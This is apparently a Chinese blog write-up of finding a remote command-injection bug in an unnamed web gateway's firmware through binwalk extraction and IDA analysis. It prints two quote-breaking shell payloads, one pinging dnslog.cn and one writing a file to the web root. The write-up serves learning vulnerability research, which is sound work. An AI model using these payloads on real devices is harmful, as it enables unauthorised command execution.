某硬件设备漏洞挖掘之路-Web选手初入"二进制"

某硬件设备漏洞挖掘之路-Web选手初入"二进制"

Author: Yuanhai
遵守相关法律法规,本文不会带有任何厂商标识。

0x01:前言

很早之前就有打算开始往二进制方向发展,但由于基础较差,需要花费大量时间从0开始学习。阅读其他师傅所写的文章受益良多。最有印象的就是忍者师傅所写的《web选手如何快速卷入二进制世界》。简单的二进制应用在IDA的伪代码状态下与日常的WEB应用审计流程基本一致。下面就分享一篇个人初学二进制的挖掘实践。

0x02:正文

此次挖掘的目标系统是一个硬件设备(Web应用网关),通过官方服务中心拿到了更新的固件包(.BIN文件)。然后使用Binwalk对固件进行提取

python -m binwalk -Me ****.bin

这里使用的是windows环境下的命令

1.png
提取出来的文件会放在当前目录下以_(文件名)开头的新建文件夹中
2.png
在某个目录下发现了一个.cpio文件,大小为164MB,(cpio也属于一种压缩文件)

在windows下可以使用7-zip解压其中的文件。

3.png

看见etc,dev等目录大概就明白了这是Unix系统文件。

根据网关默认的页面查找到了Web程序所在的目录。
4.png
此目录下仅有一些html页面,以及一些静态资源文件。并没有功能处理文件。

查看相关配置文件,该网关应用使用lighttpd+FastCGI环境搭建。

5.png

所有请求都交给main_req文件进行处理。程序根目录为/var/local/web/htdocs

找到此文件,发现是一个系统执行文件

6.png
将其拖入IDA中。由于不太清楚程序架构,搜索带有Login字符的相关处理方法,使用F5查看伪代码。根据前端传入的参数进行对比。确定最终的处理方法。

7.png
前端传递参数只有user_name,password,language三个参数
8.png
login_req_proc方法逻辑相同。
9.png
到了这里基本流程就和Web中代码审计一致了.相比java中的获取请求参数方法request.getParameter。在图中一眼就可以看出。程序使用http_parameter_get获取http协议提交过来的数据。

if ( http_parameter_get("user_name", &src)//获取参数user_name赋值给src
    || http_parameter_getint("language", &v23)//获取int类型的参数language赋值给v23
    || http_parameter_get("password", &v24)//获取password参数赋值给v24
    || v23 >= 2 )
  {如果上文有一个参数为空,且v23(language的值大于或等于2时)
    resultpage_redirect("/login.html", &unk_4198F8, &unk_4198F8);
    //直接重定向到login.html并返回200
    return 200;
  }

根据以上流程查找存在使用http_parameter_get的方法,确定sink

在IDA中,单击需要查找的方法,使用快捷键X
依次审计存在使用http_parameter_get的事件方法。
10.png
通过审计发现并没有一些调用敏感函数的利用点。

比较疑惑?在审计中发现存在调用的方法只有少数,正常的应用程序应该不只这么点功能。

继续分析,在xxx_server()方法中发现了一些其他内容。

应用在启动时,会加载files下的一些模块
11.png
而模块中的_display.xml文件中声明了功能路径以及处理方法。
使用parserMapping对xml中的内容进行处理
12.png

如:

        <display>
            <disp_url>version_save</disp_url>
            <template>download.xml</template>
            <user_file>system.so</user_file>
            <pre_transform>save_pre_translate</pre_transform>
            <post_transform>save_post_translate</post_transform>
            <transform>save_translate_value</transform>
        </display>

disp_url为该方法的请求路径,template为返回的响应模板,user_file为方法所在的程序函数库,transform为处理路径请求的方法。可以单独为不同的请求设置不同的处理方法。

在了解相关程序结构后,后续挖掘就更加方便了。

对每一个模块中程序函数库进行审计分析。最终在某一处发现了存在调用system()且参数可控。造成命令执行 。

13.png

方法中,使用http_parameter_get接受参数A,在下方26行,以及41均有调用System()。在24行中,system方法执行了变量v13的内容。而变量v13的值由snprintf格式化变量v8(参数a)的值由来。其中的参数a内容是可控的。那么就可以构造payload

由于这里使用的sed命令,%s对v8变量的值格式化,拼接内容在单引号之间,需要加个单引号闭合掉。

payload:

'111''||ping dnslog.cn||

14.png

发送http请求,测试dnslog。这类设备基本都是默认路径。尝试在web目录下写一个txt文件测试。

payload:

'111''||echo 1 > /var/local/web/htdocs/1.txt||'"

15.png

完成rce!

本文链接:

https://www.websecuritys.cn/index.php/archives/462/
1 + 5 =
1 评论
    qwe--+aChrome 92Windows 10
    2021年08月09日 回复

    很早以前 有个大师傅给我讲 要学java,说实在的java 很难啃。后面这个大师傅又给我说 二进制才是安全的未来,卒。